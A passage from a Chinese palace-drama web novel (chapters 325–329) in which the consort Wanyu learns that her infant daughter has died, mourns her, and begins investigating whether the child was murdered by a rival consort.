如同她这二十二年的人生,跌跌撞撞走到今天,就是在和不同的人说再见。 那就再见吧! 很多时候,再见的意思,就是再也不见。 她穿好衣服走出去,发现昨日还阳光明媚的天气,不知什么时候又飘起了雪花。 院子的梨树上,已经落了一树洁白。 所以,她梦中所见的,应该是雪,而不是梨花。 只是梨树下,没有祁让抱着孩子的身影。 男人说到底还是比女人果决,说断就断,绝不拖泥带水。 也有可能,他现在是有女万事足,别的都无所谓了。 晚余环顾四周,发现院子里也没有旁的宫人。 紫苏说:“别的人都被皇上调去乾清宫了,公主太小,需要很多人照顾。” “这样啊?”晚余黯然叹了口气,“你去请淑妃和徐掌印过来,我还有几句话要交代他们。” “这……”紫苏面露难色,“皇上有旨,不许任何人为娘娘送行,徐掌印让娘娘只管出去,他和沈大将军会去找娘娘的。” 晚余愕然,半晌才点点头,说了一声“好”,往下再没说什么。 食不知味地用过早饭,胡尽忠领着几个小太监抬了一顶软轿进来,三角眼又红又肿,只剩下一条缝。 “娘娘,奴才请旨随娘娘一起出宫,皇上已然恩准,娘娘出宫要用到的一应物件,奴才也已准备妥当,放在了宫门外的马车上。 娘娘坐着轿子出去,出去后,奴才给您和紫苏姑娘当车夫,娘娘想去哪儿,奴才就陪您去哪儿,从此不管天涯海角,奴才都陪着您。” 晚余吃惊地看着他,没想到他会做出这样的决定。 曾经他那么想当御前大总管,为此干尽了缺德事,现在居然要放弃一切,跟随自己去流浪。 “你真的想好了吗?”晚余劝他,“我觉得你的性子还是留在宫里更合适,你不必为了我放弃自己安稳的生活。” “娘娘不用担心,奴才这样的人,到哪都能吃得开。”胡尽忠恳切道,“奴才心意已决,皇上也同意了,娘娘就不要再劝奴才了。” “是啊娘娘,他愿意就让他跟着吧!”紫苏难得替胡尽忠周旋一回,“咱们走了,别处他瞧不上,乾清宫他也回不去,在宫里着实尴尬,跟着咱们,好歹是个伴儿。” 晚余听她这么说,倒也没再反对,只是心中颇为感慨。 从前她恨这个人恨得要死,不承想到了最后,竟然是这个人陪在她身边。 “那就一起吧!”晚余说,“外面的日子没有宫里安逸,但愿你不要后悔。” “多谢娘娘,奴才保证不后悔。”胡尽忠抹着眼泪说道。 晚余让紫苏再收拾一些随身的东西,自己则去了育婴室,想看看有没有什么能带走做个念想的。 进去之后,发现里面空空荡荡,只剩下四面墙,就好像孩子从不曾来过一样。 晚余站在屋子中间,好半天都缓不过神。 看来祁让这回是铁了心地要让她和孩子一刀两断了,竟然把孩子的房间都搬空了。 既然如此,当时又何必气她不看孩子,非要把奶娘赶走,让她亲自给孩子喂奶? 她心口憋闷的难受,站在这空荡荡的房间,眼泪无声而下。 “娘娘,收拾好了,咱们走吧!”紫苏挎着一个小包袱进来,心疼地帮她擦去眼泪,扶着她出门上了轿子。 胡尽忠喊了一声起轿,几个小太监便抬起轿子,直奔神武门而去。 晚余掀开轿帘,最后看了一眼承乾宫的大门。 雪花纷纷扬扬,像一帘轻纱遮住那红墙黄瓦朱漆门。 在这里度过的两百多个日夜,宛如大梦一场…… 第325章 晚余,对不起 不知是不是下雪的缘故,一路行来,宫道上冷冷清清,鲜少有人行走,连个扫雪的小太监都没看到。 晚余觉得稀奇,挑着轿帘问胡尽忠:“怎么一个人都没有?” 胡尽忠双手抄在袖中,吸着鼻子说:“天太冷了,昨儿忙宫宴大家都累坏了,这会子定然是趁着下雪躲懒呢!” 晚余心说,躲懒也不能全都躲吧,各处的总管太监可不会由着底下人这样消极怠工。 轿子继续往前,晚余突然想到什么,又问胡尽忠:“虽说皇上不让大伙给我送行,静安太妃那里,我总不好不辞而别吧,你说我要不要给她老人家磕个头?” “啊?静安太妃呀?”胡尽忠又吸了吸鼻子,“静安太妃好像昨儿宫宴着凉了,身子不太爽利,娘娘去了,难免又惹她老人家伤心落泪,还是不去了吧!” 晚余闻言只得作罢。 继续往前走,仍旧一个人都没有碰到。 偌大的紫禁城,仿佛就剩下她们这几个人。 晚余总觉得哪里不对,但又说不上来。 到了神武门,胡尽忠递了牌子给守门的侍卫查验。 紫苏扶着晚余下了轿,等侍卫放行后,就出去坐马车。 门口风大,一阵风吹来,掀起了守门侍卫的袍角,晚余眼尖地发现,那人的侍卫服下面,居然穿着孝衣。 晚余不觉皱起了眉头。 侍卫怎么会戴孝来当值呢? 如果是家中有亲人刚刚去世,就该告了长假在家丁忧,如果亲人去世已久,就不必再穿孝衣。 宫里忌讳最多,断不会允许他穿着孝衣当值。 这是怎么回事? 她挽着紫苏的手,小声和紫苏说了自己的疑惑。 紫苏像是受了极大惊吓似的,立时变了脸色:“娘娘别管他,咱们马上就走了,何必多管闲事。” 晚余说:“我不过觉得奇怪,随口一说罢了,你怎的如此紧张?” 紫苏讪讪道:“奴婢没有紧张,就是觉得不吉利,娘娘别管就是了。” 晚余点点头,还要说什么,宫门外来了一辆拉满东西的牛车,车夫大声喊侍卫给他放行。 “喊什么喊,宫门重地,不得喧哗。”另一个侍卫扶着腰刀走过去,问他拉的什么。 那车夫探头向里张望,视线落在晚余身上,大着嗓门道:“侍卫大哥,小的没有喧哗,小的就是天生嗓门大,小的拉的是孝布和香烛纸钱,小公主的丧仪耽误不得,您赶紧让我把东西送进去吧!” 他嗓门实在大,尽管寒风呼啸,晚余还是听清了他说的每一个字。 像仿佛一道道闷雷擦着头皮滚过,晚余骇然色变,一瞬间有种魂飞魄散的惊悚之感。 “他在说什么?”晚余死死抓住紫苏的手,腿脚软到几乎要站立不住。 紫苏和胡尽忠全都变了脸色,胡尽忠冲那侍卫大喊:“愣着干什么,还不快把那狗东西的狗嘴堵上,惊着了娘娘,你们都得死!” 侍卫也懵了,听到胡尽忠喊,才回过神去捂那车夫的嘴。 车夫拼命挣扎,嘴里发出呜呜的声音。 胡尽忠过来搀扶晚余:“娘娘,咱们快走吧!” 晚余一把挥开他的手,脸上血色尽褪:“告诉我,到底发生了什么?” “没什么呀,娘娘别乱想……” “啪!”晚余一巴掌打断了他的欲盖弥彰,“我不想听废话,我要听实话,胡尽忠,现在连你也要背弃我了吗?” 胡尽忠挨了一巴掌,脸上没感觉,心里却是刀劈斧砍般的疼。 扑通一声跪在地上,抱着晚余的腿嚎啕大哭起来。 他一个字没说,晚余却已然从他的哭声中到了噩耗,白着脸看向紫苏,颤声道:“你呢,你也要骗我吗?” 紫苏也扑通一声跪了下去,眼泪如大雨滂沱,嘴唇颤抖着,却发不出一点声音。 晚余已经等不及她开口,转身向着乾清宫的方向发足狂奔。 “娘娘!” “娘娘!” 紫苏和胡尽忠从地上爬起来,大声喊叫着去追她。 晚余却像疯了一样,瘦弱的身子像一支离弦的箭,穿过层层雪幕,在怒号的北风中飞奔而去。 孩子昨天还好好的,为什么今天就办起了丧事? 紫苏在骗她。 胡尽忠也在骗她。 所有人都在骗她。 她知道这又是祁让的主意。 那个一次次许诺再也不骗她的人,又一次联合所有人骗了她。 她终于明白她的不安来自何处。 她终于明白,为什么到处都空空荡荡。 是祁让怕她看见,怕她听见。 所以不让她和孩子道别,不让任何人给她送行。 他是不是以为,只要她走出那道门,这辈子都不会听到孩子的任何消息? 他能封住紫禁城所有人的口,他还能封住全天下人的口吗? 阿娘死的时候,他就是这样瞒着她。 现在,他又要瞒着她。 他为什么总是以为瞒着她就是对她好? 为什么? 眼泪大颗大颗掉下来,在晚余脸上凝结成冰,风吹过,刺骨的冰冷。 一路上不知道摔了多少跤,她终于跑到了乾清宫,却被守门的侍卫拦住。 “让开,我要见皇上!”晚余不想废话,直接从袖袋里掏出一块龙形玉符。 这是祁让去开封之前给她的,她一直没用上,怕出去之后遇到什么麻烦,打算带在身上以防万一。 没想到竟是用在了这里。 侍卫看到玉符,直接给她放了行。 外面看起来没什么异样的乾清宫,里面已经挂起了白幡。 宫人们正忙碌着把红灯笼换成白灯笼。 看到晚余突然闯入,所有人都呆愣当场。 晚余沿着廊庑一路狂奔,呼啸的风卷着雪花扑在她脸上。 白的雪,白的幡,白的灯笼,白的孝衣。 到处都是一片白茫茫,仿佛通往阴曹地府的黄泉路。 “娘娘……”小福子从殿里出来,看到晚余,惊得声音都变了调。 “皇上呢?”晚余问。 “东,东暖阁,娘娘,皇上不是故意……” 小福子话未说完,晚余已经从他身边掠过,一阵风似的向东暖阁冲去。 雪天光线暗,暖阁里没点灯,只有炭盆里一点猩红的光。 祁让一身素衣盘腿坐在南窗下的炕上,脸隐在暗影里看不清神色,腰背佝偻着,像是被什么压垮了似的,再不复往日的挺拔。 听到熟悉的脚步声,他转头向门口看过去,那双凌厉如刀能看穿人心的眼睛,此刻却空洞迷惘,黯淡无光。 看到晚余的一瞬间,他麻木的脸上有了一丝动容,一开口,嗓音喑哑暗沉:“你不是走了吗,谁让你回来的?” 晚余一路狂奔至此,早已精疲力竭,拖着沉重的步子,一步一步走到他面前,喘着粗气问道:“孩子呢?” 祁让不说话,满眼哀伤地看着她。 那个字,实在不敢说出口,只是在心里打个转,便是剔骨割肉般的疼。 “谁干的?”晚余直接问。 祁让轻轻摇头:“没有谁,孩子一生下来,太医就说她最多只能活一个月,我怕你难过,没敢和你说……” “我不信,你定然又在包庇谁……”晚余瞪大眼睛看着他,话未说完,突然吐出一大口鲜血,下一刻,身子便软绵绵瘫倒在地上。 “晚余!” 祁让扑跪在地上将她抱进怀里,一滴泪砸在她惨白的脸颊,“晚余,对不起……” 第326章 什么都留不住 晚余再醒来时,发现自己躺在一张柔软又馨香的床上,头顶是一方月白底绣缠枝莲纹的纱帐,帐子四角挂着鎏金薰香球,散发出一种奇异的香气。 她不知自己身在何处,略微动了动,便有一个惊喜的声音响起:“晚余,你醒了?” 随着这声问询,乌兰雅那张明艳动人的脸出现在她的视野,深邃的大眼睛里是不加掩饰的心疼与关切。 晚余呆滞的目光与她对视,没有表情,也不开口说话,像是对一切都失去了兴趣,连自己身在何处都懒得过问。 乌兰雅主动告诉她:“你在乾清宫昏睡了三日,谁都叫不醒你,是沈长安建议皇上把你送到我这里来的。” 晚余还是没反应,哪怕听到沈长安的名字,眼里也不再有一丝光亮。 乌兰贵怜惜地摸了摸她的脸,帮她把脸颊两边的乱发拂开:“你想不想见沈长安或者徐清盏,我让人去通知他们,皇上说,只要你醒过来,想见谁都可以。” 晚余重又把眼睛闭上。 她谁都不想见。 此时此刻,见谁都已经没有意义。 连活着都是没有意义的。 乌兰雅迟疑了一下又道:“徐清盏让我转告你,梨月的事和别人没有关系,今天早上,皇上已经亲自送梨月的灵柩去了皇陵,他说你醒了如果要走,随时都可以走,不必等他回来。” 晚余终于在听到梨月的名字时有了一丝动容,偏过头,眼泪无声从眼角滑落。 她到底还是没能见那孩子最后一面。 如果说孩子的死和别人没有关系,那一定是上天对她的惩罚。 因为她当初狠心不要孩子,所以,老天爷才惩罚她,要让她尝一尝得到又失去的痛。 可如果错的是她,老天爷为何不直接收走她的性命,反倒要对一个无辜的孩子下手? 她的梨月还那样小,对这世间的一切都还懵懂无知,这样对她公平吗? “把我送回承乾宫吧!”她终于开口说话,气若游丝。 她知道自己活不了多久了,她要回到那个梨月生活过的地方,守着那间空屋子慢慢死去。 她的人生,就是命运撒下的一张天罗地网,不论她走到哪里,都走不出这张网。 或许就这样像个尸体一样腐烂在紫禁城,才是她最终的归宿。 三日后,祁让从皇陵回来,听闻晚余住回了承乾宫,沉默了许久之后,并没有第一时间去看晚余,而是把乌兰雅叫去了乾清宫,向她询问晚余的情况。 乌兰雅不知道该如何描述晚余现在的状态,想了很久,才说了一句话:“我只能说,她还没死。” 她甚至都不是说她还活着,而是说她还没死。 祁让听完,又是一阵长久的沉默。 事情走到今日这步田地,都是他一手造成的,纵然他有千万种理由,也不能弥补晚余所受的伤害。 况且他也没有千万种理由。 他从头到尾,都只有一个想法。 想把她留在自己身边。 可他留不住。 他什么都留不住…… 承乾宫里只剩下三个人,除了晚余,就是紫苏和胡尽忠。 两个伤心欲绝的人,守着一个生无可恋的人。 偌大的宫殿,像一座空荡荡的坟墓。 这天夜里,晚余仍旧躺在床上等天亮,就像她白天躺在床上等天黑那样。 其实她等的不是天亮或天黑,她只是在等着死去。 她不想死在梦里,她想清晰地感受死亡。 她想知道,她的梨月在生命的最后时刻是什么感受。 她等啊等,死亡总是不来。 窗外风声呜咽,像是有人在哭泣。 起初她只是以为像人,后来再听,又觉得是真的有人在哭。 可这里除了她和紫苏胡尽忠,已经没有别人,怎么会有人在这里哭呢? 她不觉得恐怖,只觉得奇怪。 她费力地下了床,没有惊动睡在地铺上的紫苏,独自一人向外走去。 半弯下弦月冷清清挂在天际,照着院中尚未消融的积雪,也照出一个站在雪地里哀哀哭泣的身影。 “是谁?”晚余扶着廊柱问道,夜风穿透单薄的寝衣,让她险些站立不住。 那人顿时停止了哭泣,向她走过来:“娘娘,您怎么出来了?” 是胡尽忠。 晚余等着他走近,声音发颤地问他:“大晚上的,你哭什么?” 胡尽忠抹了一把眼泪,扶着她往回走:“夜里风寒,娘娘快回屋。” 紫苏被惊醒,举着烛台找出来,见晚余只穿着寝衣被胡尽忠扶回来,吓了一跳,连忙把烛台递给胡尽忠,自己去扶晚余:“娘娘,你这是去哪儿了?” 晚余没回答,被她扶着坐回到床上,又去问胡尽忠:“你哭什么?” 胡尽忠把烛台放下,跪在地上呜呜地哭起来:“娘娘,奴才睡不着,奴才心里难受,奴才只要一闭上眼睛,就会想起小公主,奴才恨不能替公主去死……” 晚余怔愣地看着他,悲伤像寒风一样呼啸着从破了洞的心门灌进来,化作细小而密集的冰针,一寸一寸刺进她的血肉。 压抑了多日的情绪在这一刻全面爆发,她拥着被子发出撕心裂肺的哭嚎。 “娘娘……”紫苏坐过来将她搂住,和她一起痛哭出声。 窗外北风呼啸,主仆三人对着一盏孤灯,哭得昏天暗地。 这场迟来的悲伤持续了许久,也耗尽了晚余所有的精力。 她哭到最后,已经哭不出声,歪在紫苏肩头默默流泪。 紫苏一面劝她别哭,一面自己泪流成河。 胡尽忠跪坐在地上,双眼红肿,哀哀絮语:“公主可喜欢我了,满院子的下人,除了奶娘,她就只让我抱。 皇上说我长得丑,但公主一点都不嫌弃我,我都和她说好了,等她再长大一点就给她当马骑。 为什么呀,为什么要这样啊,为什么我这么缺德的人都还活着,老天爷却把公主带走了……” “你别说了。”紫苏哭着打断他,“你还想不想让娘娘好了,你再说下去,娘娘的身子都要哭坏了。” 胡尽忠抽泣着,拿袖子抹了一把眼泪:“奴才知道娘娘的身子受不住,但奴才有句话非说不可……” “胡尽忠!”紫苏很大声地叫了他一声。 “让他说。”晚余止住眼泪,坐直了身子,“我都已经这样了,还有什么话听不得?” 胡尽忠手脚并用往前爬了几步,破釜沉舟般地说道:“娘娘,奴才怀疑小公主不是病故的,是被人害死的。” 第327章 那个人是谁 晚余耳边轰隆一声,似一道惊雷当空劈落,震得她神魂俱裂,大脑一阵强烈的眩晕,仿佛天地在这一刻倒悬,刚刚坐直的身子已然摇摇欲坠。 “娘娘。” 紫苏连忙扶住她,又大声的斥责胡尽忠,“太医都说了公主是先天不足,你休要在这里胡扯八道扰乱娘娘的心神。” “我没有。”胡尽忠梗着脖子道,“我没有胡扯八道,公主走的时候,我亲眼看见的,公主的脸色根本不是正常病故的样子。 娘娘若不信,可以去问淑妃娘娘,前两天娘娘住在永寿宫时,淑妃娘娘也曾私下和奴才说,小公主死的蹊跷。” “哪有什么蹊跷,皇上都没怀疑,你凭什么怀疑?”紫苏说,“皇上难道不比你更疼爱小公主吗,倘若真有疑点,皇上一定会追查到底的。” 晚余听着两人的争论,想起自己在乾清宫昏厥之前质问祁让的话。 那天,祁让和她说,太医早已断言孩子只能活一个月,她不相信,质问祁让是不是又在包庇谁。 因为她觉得,就算孩子真的只能活一个月,也不可能精准到一天都不多,一天都不少。 可是后来在永寿宫,乌兰雅又说徐清盏让她转告她,孩子的死和别人没有关系。 她不相信祁让,但她无条件相信徐清盏,因此才打消了疑虑。 可是现在,胡尽忠又告诉她,乌兰雅自己也对孩子的死产生过怀疑。 那么,她到底应该相信谁? 徐清盏到底有没有让乌兰雅转告她那样的话? 她的梨月,到底是不是被人害死的? 如果是,那个人会是谁? 各种思绪纷至沓来,在她脑子里搅成一团乱麻。 她原本已经心如死灰,那死灰却又因着胡尽忠的话重新燃烧起来。 就算死,她也得把事情查清楚再死。 倘若真的有人害死了梨月,她就带着那人一起下地狱。 “我饿了,你去弄些吃食过来。”她对紫苏说道。 紫苏一直干扰胡尽忠,她得先把她支走,除此之外,她也确实需要食物补充体力。 紫苏答应一声,往她身后垫了个靠枕,扶她靠坐在床头,嘱咐胡尽忠看好她,这才匆匆而去。 晚余看着紫苏出了门,对胡尽忠说:“起来说话吧,搬个凳子,坐到我跟前来。” “多谢娘娘。”胡尽忠从地上爬起来,搬了个绣凳在床前坐下。 晚余说:“那天我喝醉了,你先和我说说,小公主是什么时辰……走的?” 最后两个字出口,胸口猛地一窒,像是被人活活剜去一块血肉,连呼吸都被生生掐断。 胡尽忠吸着鼻子道:“是那夜二更时分走的,当时娘娘睡得正沉,奶娘发现后,先告诉了奴才,奴才没敢惊动娘娘,让人先去请了皇上过来。” “你说什么?”晚余脸色瞬间煞白,“你是说,梨月那天晚上回来了,她是在,是在……” “是的娘娘。”胡尽忠的眼泪又忍不住掉下来,“公主就是在娘娘隔壁的育婴室里走的,奴才怕娘娘承受不住,想着先把皇上请过来,到时候皇上好歹能安慰安慰娘娘。 谁知皇上来了之后,直接把公主带去了乾清宫,并让人搬空了育婴室,只留下奴才和紫苏在这里守着娘娘,让我们两个次日一早就带娘娘离开……” 他哽咽不止,从凳子上滑下去,跪在地上给晚余磕头:“娘娘,奴才不是故意要瞒着您的,可皇上下了封口令,奴才也明白,皇上那样做确实是为了娘娘好,因为娘娘产后情志失常,尚未痊愈,皇上怕娘娘受不了打击……” “那现在呢?” 晚余捂着心口,痛得无法呼吸,“现在呢?现在呢?你们以为的为我好,究竟是好还是坏? 孩子死在我隔壁,我却浑然不知,连她最后一面都见不到,你知道我心里是什么感受吗?” “奴才知道,娘娘,奴才真的知道。”胡尽忠捶着自己的胸膛放声大哭,“皇上不让说,奴才也没法子。 奴才就想着,等咱们出了宫,奴才就带娘娘去一个很远很远的地方,远到京城的任何消息都传不过去,这样娘娘就不用伤心了,娘娘只当公主还活着,心里也好有个念想。” 晚余闭了闭眼,眼泪倏忽落下。 “你这么聪明,难道还看不明白吗,那道宫门,我根本就走不出去,因为有人不想让我走。”她忍着心头一波一波如海浪汹涌的痛意,哽咽说道。 胡尽忠的哭声戛然而止:“娘娘是说皇上吗,可是这一回,皇上是真的想让您走的呀!” “不,不是皇上。”晚余双手捂在脸上,努力平复自己的情绪,闷闷的声音从指缝间流出,“是别人,别人不想让我走。” “谁?”胡尽忠瞪大他的三角眼,“娘娘不会怀疑奴才吧,奴才真的没有,娘娘头一回出宫,被搜出皇上玉佩的事,真的不是奴才干的。” “我知道不是你。”晚余说,“你不要激动,我也没有怀疑你。” “娘娘知道不是我?”胡尽忠不能不激动,红着眼睛道,“娘娘是如何知道的,娘娘真的相信我吗,大家都说是我,连孙良言都说是我。” 晚余见他穷追不舍,只得如实相告:“齐嫔生前给我留了张字条,是太后干的。” 胡尽忠怔怔一刻,哇的一下哭出声来。 被冤枉了这么久,到今天,他总算洗清罪名了。 “可是,宫里的娘娘小主都巴不得娘娘赶紧走,谁会在这个时候为了留住娘娘,不惜对小公主下手呢?”他一边哭,一边接着分析。 “是谁我不知道,但必定有这么一个人。”晚余说,“你还记得在宫门外送香烛纸钱的那个车夫吗,你现在想想,他那句话,是不是故意冲我喊的?” 胡尽忠脸色一变,登时跳了起来:“对呀,奴才怎么没想到,平时往宫里送货的牛车马车,都是走东华门的,那人怎么跑到神武门去了?” 他猛拍着大腿,懊恼不已:“娘娘既然有此怀疑,为什么不早点告诉奴才,现在再想找那个人,只怕是找不到了,说不定早就被人灭口了。” “早你们也没告诉我呀!”晚余苦笑,“你们只想着蒙骗我,连徐清盏都让我不要怀疑,若非你今晚和我说这些话,我又怎么会想到那些呢?” 胡尽忠抬手扇了自己一个大嘴巴:“奴才错了,奴才对不起娘娘,对不起公主。” “对不起我的人多了,你还排不上号。” 晚余抬手制止了他,眼神逐渐变得清明,“还有一个人,就是那天那个守门的侍卫,既然皇上下了封口令,为什么他却早早地穿上了孝衣? 他分明就是穿给我看的。 虽然他现在也有可能已经被灭了口,但是能在神武门当值的人,宫里都有详细记档,肯定比查一个车夫要容易得多,你明天就去打听一下,看看那人到底是谁。” “好,奴才记下了,奴才天一亮就去打听。”胡尽忠连连点头,忽而又道,“娘娘,这事要不要和皇上说呀,您觉得皇上会相信吗?” 晚余摇摇头,“我不知道,但我明天会去见他,他若不信,咱们就自己查,不把那个人揪出来,我绝不罢休!” 第328章 她现在算是失宠了吧 紫苏得知晚余要去见祁让,苦口婆心地劝了她半天,让她不要冲动,说这个时候皇上心里也不好受,两人见了面,万一一言不合又吵起来,不知道会闹成什么样。 晚余让她放心,“我不会和他吵的,我只是把我的怀疑告诉他,他信不信是他的事,如果他不信,那他对梨月的爱就是一句空话。” 紫苏觉得,皇上肯定是爱小公主的,但他不只有一个公主,所以他的爱要一分为二。 娘娘说是不在意小公主,但小公主却是她的全部,是她的唯一。 唯一的孩子没了,和两个孩子失去了一个,说到底还是不一样的。 她也不是不想让娘娘弄清真相,她怕的是娘娘弄清了真相,却得不到公平公正的结果。 那样的话,比什么都不知道更加痛苦。 她劝不住晚余,等晚余睡下后,就出去把自己的想法告诉了胡尽忠,希望胡尽忠能理智一点看待这件事,别在底下煽风点火。 胡尽忠说:“我知道你有你的道理,但咱们要想让娘娘好好活下去,就得让她有活下去的动力,目前为止,查找真相,就是娘娘唯一的动力,你明白吗?” 紫苏无话可说,往下也没再劝。 这跌宕起伏的一年,她也悟出了一些道理,很多时候,人是被命运裹挟着往前走的,人再如何运筹帷幄,也抵不过命运的安排,兜兜转转,起起落落,该你经历的坎儿,一个都躲不掉。 所谓万般皆是命,半点不由人,便是如此了。 她对胡尽忠说:“从前我不相信你,觉得你是整个紫禁城最讨厌的人,现在,你能在娘娘最艰难的时候不离不弃,足以证明你是个可靠的人。 明天你陪着娘娘去见皇上,无论如何一定要替娘娘周全,眼下我和娘娘能依靠的人都只有你了。” 胡尽忠挺了挺腰身,那双总是闪着精光的三角眼,此时闪动的是泪光:“放心吧,包在我身上。” 紫苏以为他又要发表一番长篇大论豪言壮语,没想到只有这么一句话。 而这一句,抵得过从前的千千万万句。 第二天天刚蒙蒙亮,胡尽忠就出了门。 等他打听一圈回来后,晚余刚好起床梳洗完毕,正在用早饭。 “娘娘,奴才打听到了,那天那个侍卫叫宋有志,家住城北大槐树巷,自从那天之后,他就告了假没再回来,他的上峰派人去他家问过,说他跟一个朋友出远门去了。” 晚余停下筷子,苍白的脸上没有什么意外之情,只淡淡道:“这远门怕是回不来了。” 胡尽忠点头表示认同:“奴才估摸也是,奴才还打听了那个车夫,当天的另一名侍卫说,他们没让那个车夫进去,而是把他撵去东华门,东华门值守的侍卫却说那天上午没有人往宫里送过孝布纸钱。” “怎么会没有?”紫苏插了一句,“那么一大车东西呢,他们是不是记错了?” “不可能记错,只可能是那人压根就没打算进宫。”胡尽忠说,“他知道神武门进不去,他的作用就是对着娘娘喊那一嗓子,目的达成后,正好借着被侍卫驱赶脱身。” “那怎么办?”紫苏不免沮丧,“咱们一共就这两条线索,两条都断了。” “断不了,至少侍卫断不了。”晚余想了想,对胡尽忠说道,“你回头去一趟那侍卫家,问清楚他家里所有人的情况,有什么亲戚朋友,平时和什么人来往,都要问清楚,必要的话,连他亲戚的亲戚,朋友的朋友也都问一问。” “好,奴才知道了。”胡尽忠说,“奴才先陪娘娘去见皇上,看皇上怎么说,皇上要是信咱们,自会派人去查,到时候就用不着奴才了。” 晚余便也没再说什么,吃过饭,换了一身素衣,披了件白狐毛的斗篷,在胡尽忠的陪同下去了乾清宫。 承乾宫已经没有多余的人,虽有肩辇也无人抬,她只能步行前往。 在床上躺了这几天,她的身体已经虚弱到了极致,走上一段路,就要停下来歇一歇。 宫道上时不时有宫人经过,大家客客气气地向她行礼,等她走过去,就开始交头接耳,或者迅速回宫告诉自己的主子。 很快,整个后宫都知道贞妃出门了。 那个因为失去孩子而命不久矣的贞妃,居然又从床上爬了起来,并且出门去了。 她要去哪儿? 要去见皇上吗? 皇上从皇陵回来后,一次都没去看她。 她这样,应该算是失宠了吧? 孩子没了,人也垮了,皇上也不待见她了,她往后的日子还能好吗? 得宠的时候一心想走,而今一无所有了,她反倒又不走了,也不知道她心里咋想的。 这个时候,还留下来干什么呢? 说来也奇怪,回回走,回回走不成,逃跑了也能被抓回来。 难道是她命该如此,这辈子注定了要留在紫禁城吗? 都说世事无常,造化弄人。 可造化也不能逮着这一个人捉弄呀! 又说天降大任之前,必要苦其心志。 老天爷让她苦成这样,是要降给她多大的大任呀? 各宫妃嫔各怀心思,各自派了心腹出去打听,想看看晚余到底要干什么。 晚余在明里暗里无数双眼睛的窥探下,终于和胡尽忠一起走到了乾清宫。 两人在日精门外停住脚,胡尽忠向守门侍卫说明来意,请他们代为往里面通传。 等待的时间,想起去年娘娘临出宫前,就是在这个门口,自己为了讨好皇上,说了一堆有的没的,害得娘娘最后一天还要来乾清宫当值。 娘娘气的不得了,将一个雪团狠狠砸在他脸上。 那时他还说娘娘不知好歹。 如今想来,恨不得一头撞死在娘娘跟前,以死谢罪。 他揉了揉眼睛,转头看向晚余。 晚余安安静静垂手而立,脸上是不见天日般的苍白,风吹过,宽大的衣袍飘飘摇摇,越发显得她身形单薄如纸。 可她的眼神却是平静而坚定的,透着一种死而后生的决绝。 胡尽忠心疼不已,伸手扶住晚余摇晃的身形。 他说过的,从今往后,这紫禁城的风雨,他要陪娘娘一起扛。 然而,主仆二人在门外等了很久,却没有等来皇上传召的旨意,只等来了一个小福子。 小福子跟随传话的侍卫过来,看着临风而立的晚余,红着眼圈给她行礼问安,一脸为难地向她道歉:“对不住您了娘娘,皇上这会子没空见您。” “为什么?”胡尽忠不等晚余开口,上前一步问道,“皇上不是罢朝十日吗,怎么会没空见娘娘?” 小福子犹豫再三,还是说了实话:“庄妃娘娘怕皇上心里难过,特地带着嘉华公主来宽慰皇上,皇上这会子正和嘉华公主说话呢,暂时不方便见娘娘。” 第329章 最可疑的是祁让 “你说什么?”胡尽忠尖着嗓子拔高了调门,“我家小公主刚走,皇上就迫不及待和嘉华公主父慈子孝了吗? 是你这小兔崽子认为皇上不方便见娘娘,还是皇上亲口说的不方便?” “哎呦我的胡大总管,您可小点声吧!”小福子伸手去捂他的嘴,“我一个奴才,怎敢替皇上做主,自然是皇上亲口说的。” “别碰我,把你的臭手拿开!” 胡尽忠狠狠一巴掌打掉他的手,“我不信皇上这样绝情,你再去通传,就说娘娘会一直在这里等着皇上,见不到皇上,娘娘哪都不去。” “这……”小福子揉着被打疼的手,为难又心疼地看向晚余,“娘娘,您不要怪皇上,皇上心里比您还难受,奴才也觉得,你们这会子还是不见为好。” “你觉得有个屁用,谁要你觉得?”胡尽忠三角眼瞪得溜圆,“你去告诉皇上,娘娘有十万火急的事要和皇上说,他若不见,他会后悔一辈子的。” 小福子骇然色变:“胡大总管,您怎么还威胁起皇上来了,今时不同往日,您快安生些吧,出了事可没人能兜得住您。” “咱家不用谁兜……” 胡尽忠还要再催他,被晚余伸手拉住。 “既然皇上不方便,那我就先回去了。”晚余对小福子客气道,“我知道这事不怪你,劳烦你帮我留意着,皇上什么时候有空了,你就打发人去通知我一声,这样行吗,福公公?” 小福子差点被那一声福公公叫出两眼泪,缓了一下才躬身道:“奴才记下了,奴才会为娘娘留意的,天冷风大,娘娘快回去吧,千万要保重自身。” 晚余点点头,扶着胡尽忠的手转身往回走。 小福子站在门口看着两人走远,这才揉了揉眼睛,回去向祁让复命。 承乾宫里,紫苏坐立难安,一趟一趟地往大门外跑,远远的看到胡尽忠背着晚余回来,吓了一跳,连忙迎上去问:“怎么了,娘娘这是怎么了?” “没事,娘娘就是太虚弱,走不动了。”胡尽忠呼哧带喘的,一口气把晚余背进寝殿放在床上,捶着腰打趣自己,“我也挺虚的,看来以后要多练练了。” 紫苏给他和晚余各倒了一盏温水,迫不及待道:“娘娘去了这么久,都和皇上说了什么,皇上信了没有?” 胡尽忠端起茶盏咕咚咕咚一饮而尽,抹着嘴道:“别提了,没见着人。” 紫苏的笑容僵在脸上:“为什么?皇上不在吗?” “在,在忙着和嘉华公主父慈子孝,没空见娘娘。”胡尽忠带着满满的怨气说道,“庄妃娘娘可真会捡漏,以前倒是小瞧了她。” 紫苏心里咯噔一下,下意识去看晚余的脸色。 晚余坐在床沿,双手握着茶盏,脸色很平静,看不出什么情绪。 “娘娘。”紫苏叫了她一声,又不知道该怎么安慰她。 “我没事,我在想事情。”晚余喝了一口水,语气也很平静。 “娘娘想到什么了?”紫苏问道。 晚余斟酌了一下才说:“你还记得吗,满月宴那天,奶娘带梨月去偏殿喂奶,嘉华公主说要和梨月玩,皇上就让庄妃带她去了。” 紫苏神色一凛:“莫非娘娘怀疑庄妃?” 晚余因着提起梨月,面上闪过一抹痛色:“我谁都怀疑,但目前为止,只有庄妃母女得到了利益,其他人的动机或者利益尚不明确。” “娘娘说得有道理。”胡尽忠接过她的话分析道,“皇上以前对庄妃母女并不特别上心,小公主一走,皇上心里难过,她们就可以趁虚而入了。” “可小公主是夜里没的,庄妃去偏殿看她时,还是白天。”紫苏提到小公主,心口也是一阵阵闷痛,为了找出真相,又不能不提,每提一次,都要用尽所有的勇气。 “你傻呀?”胡尽忠说:“如果真是她,她自然不会蠢到让小公主当场毙命,那样的话,她首先脱不了干系。” “可她为什么不能等娘娘走了再动手呢?”紫苏又问。 胡尽忠答不上来,看向晚余。 